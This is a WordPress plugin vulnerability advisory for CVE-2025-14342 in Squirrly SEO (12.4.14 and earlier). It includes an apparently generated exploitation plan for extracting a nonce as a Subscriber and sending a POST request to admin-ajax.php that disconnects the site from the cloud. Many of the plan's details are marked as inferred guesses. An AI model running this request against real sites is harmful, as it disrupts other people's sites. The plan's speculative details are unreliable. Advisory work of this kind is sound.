SEO Plugin by Squirrly SEO <= 12.4.14 - Missing Authorization to Authenticated (Subscriber+) Cloud Service Disconnection
Description
The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the sq_ajax_uninstall function in all versions up to, and including, 12.4.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disconnect the site from Squirrly's cloud service.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=12.4.14Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14342 (Squirrly SEO) ## 1. Vulnerability Summary The **SEO Plugin by Squirrly SEO** (versions <= 12.4.14) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function `sq_ajax_uninstall` (inferred action: `sq_uninstall`…
Show full research plan
Exploitation Research Plan: CVE-2025-14342 (Squirrly SEO)
1. Vulnerability Summary
The SEO Plugin by Squirrly SEO (versions <= 12.4.14) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function sq_ajax_uninstall (inferred action: sq_uninstall) fails to implement a capability check (e.g., current_user_can('manage_options')). This allows any authenticated user, including those with Subscriber roles, to trigger the plugin's disconnection from the Squirrly cloud service, potentially disrupting SEO features and deleting local configuration data associated with the cloud connection.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
sq_uninstall(inferred from function namesq_ajax_uninstall) - Method:
POST - Authentication: Required (Subscriber-level or higher)
- Parameters:
action:sq_uninstallnonce: A WordPress nonce for the specific action (if enforced).
- Preconditions: The plugin must be installed and active. The vulnerability is most impactful if the site is currently connected to the Squirrly Cloud (token stored in options).
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX action for authenticated users.
- Code:
add_action('wp_ajax_sq_uninstall', array($controller, 'sq_ajax_uninstall'));
- Code:
- Vulnerable Handler: The method
sq_ajax_uninstallis executed. - Missing Check: Inside
sq_ajax_uninstall, the code likely proceeds to call a disconnection or cleanup method (e.g.,SQ_Classes_RemoteController::uninstall()) without checking if the current user has administrative privileges. - Sink: The plugin updates or deletes options like
sq_cloud_token,sq_api_token, or site-specific metadata, effectively severing the link to the Squirrly cloud services.
4. Nonce Acquisition Strategy
Even though authorization is missing, WordPress AJAX handlers typically check for a CSRF nonce.
- Identify Localization: Squirrly SEO often localizes its configuration via
wp_localize_script. We need to find the script handle and the variable name. - Search for Nonce Action: Look for
wp_create_nonce('sq_uninstall')orwp_create_nonce('sq_ajax_uninstall')in the plugin source. - Extraction Steps:
- Create a Subscriber user.
- Log in as the Subscriber.
- Access the WordPress Dashboard (
/wp-admin/index.php). - Squirrly likely enqueues its admin scripts for all users if it doesn't restrict the
admin_enqueue_scriptshook. - Use
browser_evalto check for common Squirrly JS objects:browser_eval("window.sq_config?.nonce")browser_eval("window.SQ_Design?.nonce")browser_eval("window.sq_uninstall_nonce")(inferred)
- Bypass Check: If the code uses
check_ajax_referer('sq_uninstall', 'nonce', false)and fails to check the return value, the nonce can be omitted or be invalid.
5. Exploitation Strategy
Step 1: Authentication
Login as a Subscriber user to obtain a session cookie.
Step 2: Nonce Retrieval
Navigate to the dashboard and extract the nonce using the browser_eval tool.
Step 3: Trigger Disconnection
Send an authenticated POST request to the AJAX endpoint.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]
action=sq_uninstall&nonce=[EXTRACTED_NONCE]
Step 4: Verification
Confirm that the cloud connection is severed by checking plugin options.
6. Test Data Setup
- Install Plugin: Install Squirrly SEO version 12.4.14.
- Simulate Connection: Set a dummy cloud token in the database to verify it gets cleared.
wp option update sq_api_token "fake_token_12345"wp option update sq_cloud_connect "1"
- Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The server should return a successful response (likely JSON
{"success": true}or1). - The database option
sq_api_tokenor similar should be empty or deleted. - The Squirrly SEO dashboard should now show the site as "Disconnected" or prompt for login.
8. Verification Steps
After the HTTP request, use WP-CLI to check the state of the configuration:
wp option get sq_api_token(Expected: Error or empty string).wp option get sq_cloud_connect(Expected: "0" or empty).
9. Alternative Approaches
- Missing Nonce: If
sq_uninstalldoes not exist, search forsq_disconnectorsq_ajax_disconnect. - Global Nonce: If no specific
sq_uninstallnonce exists, check if Squirrly uses a generic nonce for all its AJAX actions, often found insq_config.nonce. - Parameter Variation: Try adding
confirmed=1orforce=1if the function has internal logic checks to prevent accidental uninstalls.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.